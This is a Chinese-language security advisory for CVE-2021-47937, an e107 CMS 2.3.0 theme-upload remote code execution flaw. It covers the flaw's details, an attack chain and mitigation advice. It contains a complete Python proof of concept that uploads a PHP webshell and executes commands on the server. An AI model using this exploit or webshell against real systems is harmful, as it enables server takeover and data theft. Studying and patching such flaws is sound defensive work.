IPBUF安全漏洞报告
English
CVE-2021-47937 CVSS 8.8 高危

CVE-2021-47937 e107 CMS远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47937
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
e107 CMS

相关标签

远程代码执行e107CMS文件上传WebShell

漏洞概述

e107 CMS 2.3.0版本存在严重的远程代码执行漏洞。由于系统未对主题上传功能进行严格的文件类型和内容过滤,拥有主题安装权限的认证攻击者可上传包含Webshell的恶意主题包。成功上传后,攻击者能够通过访问特定目录下的恶意文件在服务器端执行任意系统命令,从而完全控制受影响的服务器,导致数据泄露或服务器被篡改。

技术细节

该漏洞属于典型的文件上传导致的远程代码执行漏洞。攻击者利用了e107 CMS 2.3.0版本中主题管理模块的安全缺陷。具体而言,在theme.php端点处理主题上传请求时,系统仅校验了用户权限和压缩包格式,未深入扫描压缩包内部的文件内容。攻击者可以构造包含恶意PHP代码(如Webshell)的主题压缩包,上传后系统自动将其解压并部署到e107_themes目录。由于解压后的PHP文件未被隔离或重命名,且目录配置允许Web服务器解析PHP,攻击者可直接通过URL访问该恶意文件,导致服务器端解析并执行攻击者注入的任意系统命令。此过程攻击成本低,危害极高。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者注册或获取一个具有主题安装权限的低权限账户。
STEP 2
步骤2:构造恶意载荷
攻击者创建一个包含Webshell(如payload.php)的ZIP压缩包,并伪装成合法的主题文件。
STEP 3
步骤3:上传恶意文件
攻击者通过theme.php端点上传恶意ZIP包,系统将其解压到e107_themes目录下。
STEP 4
步骤4:执行代码
攻击者通过浏览器访问e107_themes目录下的payload.php,传入系统命令参数,在服务器端执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io # Target configuration target_url = "http://target/e107/e107_admin/theme.php" login_url = "http://target/e107/e107_admin/admin.php" cmd_url = "http://target/e107/e107_themes/malicious_theme/payload.php" session = requests.Session() # Step 1: Login as a user with theme installation permissions login_data = { "username": "attacker", "userpass": "password", "authsubmit": "Login" } session.post(login_url, data=login_data) # Step 2: Create a malicious theme ZIP package zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add a dummy theme.xml to pass basic validation zip_file.writestr("theme.xml", "<theme><name>exploit</name></theme>") # Add the webshell payload zip_file.writestr("payload.php", "<?php system($_GET['cmd']); ?>") zip_buffer.seek(0) # Step 3: Upload the malicious theme files = { "userfile[theme]": ("exploit_theme.zip", zip_buffer, "application/zip") } upload_data = { "upload": "Upload" } response = session.post(target_url, files=files, data=upload_data) # Step 4: Execute command if response.status_code == 200: cmd_response = session.get(f"{cmd_url}?cmd=whoami") print("Command output:", cmd_response.text) else: print("Upload failed")

影响范围

e107 CMS 2.3.0

防御指南

临时缓解措施
建议管理员立即检查系统用户权限,收回非管理员用户的主题安装权限。同时,通过Web服务器配置(如Apache的.htaccess或Nginx配置),禁止对e107_themes及其子目录中的PHP文件进行解析执行,以阻断Webshell的运行路径,直至完成官方补丁的更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表